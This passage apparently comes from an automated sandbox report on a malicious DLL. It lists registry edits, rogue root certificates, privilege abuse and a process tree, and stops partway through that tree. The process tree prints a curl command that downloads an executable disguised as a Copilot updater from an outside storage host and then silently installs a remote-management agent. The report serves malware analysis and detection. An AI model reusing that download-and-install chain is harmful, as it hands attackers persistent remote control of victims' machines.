\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C5A3D015B9A947CA8CACB64A155DF63ABC5EB1D0\Blob = 14000000010000001400000002ca55c2b717abf27f0f68eea39ff4c18956c3ed030000000100000014000000c5a3d015b9a947ca8cacb64a155df63abc5eb1d00f000000010000002000000014db476d8053fc459f0ab1d5c39a616de9ca4641ec7006b5d91abacaadbfb4352000000001000000d8030000308203d4308202bca003020102020851778cd2c40d8a98300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236313030353135323831355a180f32303531313030353135323831355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d7a34eb30c492a15af213070a5b637666b136ae2c4ee54073273b0d38918d1d088655ba4d7deaa2c47b811d069d3a124e3e0e02a5bc6d9a866537ef365ee1488ab4d4944d8ebed811ae0508d47bd976c36fe7528f9808a233c366104964bdb32dd0dbad4bdbc1e5b23143d1b56d7a87c5556855d44c489e4befc1ec5ea16b983d2d76df40992af9ee10b8aba73672e33bc3208d9c5a79628c7c640fdba9ff9be8dbdcd212830142e4ab6e668865a9c89649447ce4855668243f91498e8e3b57d890d17f45a3e69b380296ce9e6faeccaa6308a5d315ca8b071a96c5c64590a54dcd830af253221ec3095c7a789e18aa47e122a780c48a16a03ea92c40d13234d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041402ca55c2b717abf27f0f68eea39ff4c18956c3ed301f0603551d2304183016801402ca55c2b717abf27f0f68eea39ff4c18956c3ed300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100c7b974be40b30274dbe19950297fcad2aebd5eda85105154da2374c1544d7ed39a08703ef90449df6ae4dfc51b75b64f030e19c984b54e6ccaed5418da90ed8f89b7a0fbb2d6a88c3bc6d87f526d63f4a570f5d1311af726a82fdc9138421f5a447b2b5d4c724b844f0322a58007c28b11a0efba20e5b4a47a62682200cc428dff0b506aa1930f20786c11d6f48fdf49dae1e1e61f75c1dca68a5d48d44c7a39625a8f1f3177811188a0474e85244592cbca9f1afcce8abb0c29a3aa34aeaf3af0d97ba2c99833f81740dfe9c138746e9b6c1e4afa1f34a366178d327a8900d008e996d5f5ad594feb0bcaedd1806c328466ba3d2e9ab0f00ebeb5b36c1273d6 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\83B91F65DE2E3CBB0E6105F8EE42FE21582368D7\Blob = 14000000010000001400000059da61d24511946b6344785f6fed867d1c926a8003000000010000001400000083b91f65de2e3cbb0e6105f8ee42fe21582368d70f000000010000002000000045c05aa4045bb9dbdd33e51eb144cbed78daed15634495a7f231e02c6f54e0462000000001000000f0030000308203ec308202d4a00302010202084b7bb802d958a869300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236313030353135323831365a180f32303531313030353135323831365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a02820101009b0bd3e5b509fa5983de5a3d79b2bcc9047227746ba21936092e9edaed558b8d9189020b2f20a3c3707651fb00a1a1036d6f94410b59592c372931516b6e2a36ac286f7d35720296e1638686a545fe3874bdd982b3458034ee9e70dbbf2e2a4e079a3a54a765b6766e943c8473c680277b6ee88b0c9984297c566202f6944e4f4ccd4973d9ef743cd7090de1b0bd262f7e262443934c5cb9c678c89a72112382acfe37751895986c85fe0197f8e3af62f80769ce0fa5a1501436b08fb112216d2890d8a3ed9dcf83ca59dfc06f2dadb81f25b01f808298e3dafea5de2323055cfa90c1b487d35d3d1df909c7af0c8c9e80148a83519b7345f83a2f96948b85cf0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041459da61d24511946b6344785f6fed867d1c926a80301f0603551d2304183016801459da61d24511946b6344785f6fed867d1c926a80300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100038d009fa46d330d9b2284306989c5d35789ebaa02b9e00d91d6a66d20370c4e5f944c6d8b5381ec7b1fc376d3c00700387f57f5cbbbcf494ab1519e089e6b6a477d9af8ac12d144e9eb9c965f4b60c80a2cdc5a760a7c7bd00fd037f5972066e7df84b1dbc7de54f8ccdba222d934b18eeb97d960915e9cc11a3a8ef9419675959bc849d92121d32448266fa9693bcb772c4bc4f37bc70df8969d3c68939a2950f2e9d980509e019017aeb966a4c2d669f0e54e1a52a9bc1b36823809344955e668ae8da72a02a0bdf0bf2c85d08a72b4ee92a45d0e04d0399f46661a604d292592990dc7ea9e29c4e695345f57dde89f72f671002941d1bc5dafd87e3f5ede dcagentregister.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname rundll32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain rundll32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcpatchscan.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcpatchscan.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcinventory.exe - System Location Discovery: System Language Discovery 1 TTPs 31 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHCHelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHCHelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CRU_Reporter.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHCHelper.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHealthChecker.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcpatchscan.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language systeminfo.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3644 systeminfo.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcagentregister.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{289AF617-1CC3-42A6-926C-E6A863F0E3BA} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 0100000000000000b0599a3e265edd01 dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dcagentregister.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\mlang.dll,-4386 = "English (United States)" systeminfo.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs dcagentservice.exe - Modifies registry class 7 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000_Classes\Local Settings CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcagentservice.exe - Modifies system certificate store 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C5A3D015B9A947CA8CACB64A155DF63ABC5EB1D0 dcagentregister.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\83B91F65DE2E3CBB0E6105F8EE42FE21582368D7 dcagentregister.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe 4900 rundll32.exe - Suspicious behavior: LoadsDriver 36 IoCs
pid Process 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found - Suspicious use of AdjustPrivilegeToken 61 IoCs
description pid Process Token: SeDebugPrivilege 4900 rundll32.exe Token: SeLoadDriverPrivilege 4900 rundll32.exe Token: SeTakeOwnershipPrivilege 4900 rundll32.exe Token: SeIncBasePriorityPrivilege 4900 rundll32.exe Token: SeTcbPrivilege 4900 rundll32.exe Token: SeShutdownPrivilege 4368 msiexec.exe Token: SeIncreaseQuotaPrivilege 4368 msiexec.exe Token: SeSecurityPrivilege 1520 msiexec.exe Token: SeCreateTokenPrivilege 4368 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4368 msiexec.exe Token: SeLockMemoryPrivilege 4368 msiexec.exe Token: SeIncreaseQuotaPrivilege 4368 msiexec.exe Token: SeMachineAccountPrivilege 4368 msiexec.exe Token: SeTcbPrivilege 4368 msiexec.exe Token: SeSecurityPrivilege 4368 msiexec.exe Token: SeTakeOwnershipPrivilege 4368 msiexec.exe Token: SeLoadDriverPrivilege 4368 msiexec.exe Token: SeSystemProfilePrivilege 4368 msiexec.exe Token: SeSystemtimePrivilege 4368 msiexec.exe Token: SeProfSingleProcessPrivilege 4368 msiexec.exe Token: SeIncBasePriorityPrivilege 4368 msiexec.exe Token: SeCreatePagefilePrivilege 4368 msiexec.exe Token: SeCreatePermanentPrivilege 4368 msiexec.exe Token: SeBackupPrivilege 4368 msiexec.exe Token: SeRestorePrivilege 4368 msiexec.exe Token: SeShutdownPrivilege 4368 msiexec.exe Token: SeDebugPrivilege 4368 msiexec.exe Token: SeAuditPrivilege 4368 msiexec.exe Token: SeSystemEnvironmentPrivilege 4368 msiexec.exe Token: SeChangeNotifyPrivilege 4368 msiexec.exe Token: SeRemoteShutdownPrivilege 4368 msiexec.exe Token: SeUndockPrivilege 4368 msiexec.exe Token: SeSyncAgentPrivilege 4368 msiexec.exe Token: SeEnableDelegationPrivilege 4368 msiexec.exe Token: SeManageVolumePrivilege 4368 msiexec.exe Token: SeImpersonatePrivilege 4368 msiexec.exe Token: SeCreateGlobalPrivilege 4368 msiexec.exe Token: SeRestorePrivilege 1520 msiexec.exe Token: SeTakeOwnershipPrivilege 1520 msiexec.exe Token: SeRestorePrivilege 1520 msiexec.exe Token: SeTakeOwnershipPrivilege 1520 msiexec.exe Token: SeRestorePrivilege 1520 msiexec.exe Token: SeTakeOwnershipPrivilege 1520 msiexec.exe Token: SeRestorePrivilege 1520 msiexec.exe Token: SeTakeOwnershipPrivilege 1520 msiexec.exe Token: SeRestorePrivilege 1520 msiexec.exe Token: SeTakeOwnershipPrivilege 1520 msiexec.exe Token: SeRestorePrivilege 1520 msiexec.exe Token: SeTakeOwnershipPrivilege 1520 msiexec.exe Token: SeRestorePrivilege 1520 msiexec.exe Token: SeTakeOwnershipPrivilege 1520 msiexec.exe Token: SeRestorePrivilege 1520 msiexec.exe Token: SeTakeOwnershipPrivilege 1520 msiexec.exe Token: SeRestorePrivilege 412 7za.exe Token: 35 412 7za.exe Token: SeSecurityPrivilege 412 7za.exe Token: SeSecurityPrivilege 412 7za.exe Token: SeRestorePrivilege 5176 7za.exe Token: 35 5176 7za.exe Token: SeSecurityPrivilege 5176 7za.exe Token: SeSecurityPrivilege 5176 7za.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4368 msiexec.exe 1520 msiexec.exe 716 MsiExec.exe - Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 4900 wrote to memory of 248 4900 rundll32.exe 90 PID 248 wrote to memory of 4908 248 cmd.exe 91 PID 4900 wrote to memory of 5524 4900 rundll32.exe 93 PID 4900 wrote to memory of 3748 4900 rundll32.exe 95 PID 3748 wrote to memory of 1680 3748 CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe 96 PID 1680 wrote to memory of 4368 1680 WScript.exe 97 PID 1520 wrote to memory of 716 1520 msiexec.exe 99 PID 1520 wrote to memory of 3468 1520 msiexec.exe 100 PID 3468 wrote to memory of 4880 3468 dcagentregister.exe 101 PID 4880 wrote to memory of 1204 4880 cmd.exe 103 PID 1204 wrote to memory of 3324 1204 net.exe 104 PID 4880 wrote to memory of 4164 4880 cmd.exe 105 PID 4880 wrote to memory of 4240 4880 cmd.exe 106 PID 4880 wrote to memory of 2860 4880 cmd.exe 107 PID 4880 wrote to memory of 2868 4880 cmd.exe 108 PID 4880 wrote to memory of 5704 4880 cmd.exe 109 PID 5224 wrote to memory of 4768 5224 UEMSAgentHealthChecker.exe 112 PID 5224 wrote to memory of 4484 5224 UEMSAgentHealthChecker.exe 114 PID 5224 wrote to memory of 1796 5224 UEMSAgentHealthChecker.exe 116 PID 3468 wrote to memory of 2284 3468 dcagentregister.exe 118 PID 2284 wrote to memory of 412 2284 cmd.exe 120 PID 3468 wrote to memory of 5176 3468 dcagentregister.exe 124 PID 3468 wrote to memory of 428 3468 dcagentregister.exe 126 PID 3468 wrote to memory of 1476 3468 dcagentregister.exe 127 PID 1476 wrote to memory of 3644 1476 cmd.exe 130 PID 3468 wrote to memory of 5512 3468 dcagentregister.exe 132 PID 3468 wrote to memory of 1432 3468 dcagentregister.exe 134 PID 5592 wrote to memory of 6060 5592 dcagentservice.exe 137 - cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
description flow ioc HTTP User-Agent header 10 curl/8.8.0
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\6b68ed9377d59bb2aabc9d680b9f08806e31821073d144855ae44b1251c784f3.dll,#11⤵
- Badlisted process makes network request
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start "" "C:\Windows\System32\rundll32.exe" "C:\Windows\system32\CRCLIENT.dll",vmnetDHCP "C:\Windows\system32\rundll32.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:248 -
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Windows\system32\CRCLIENT.dll",vmnetDHCP "C:\Windows\system32\rundll32.exe"3⤵PID:4908
-
-
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe" "https://asdasdfkkl.oss-ap-southeast-5.aliyuncs.com/SetUP.exe"2⤵
- Downloads MZ/PE file
PID:5524
-
-
C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe"C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe" /S /norestart2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3748 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS"3⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1680 -
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt"4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4368
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1520 -
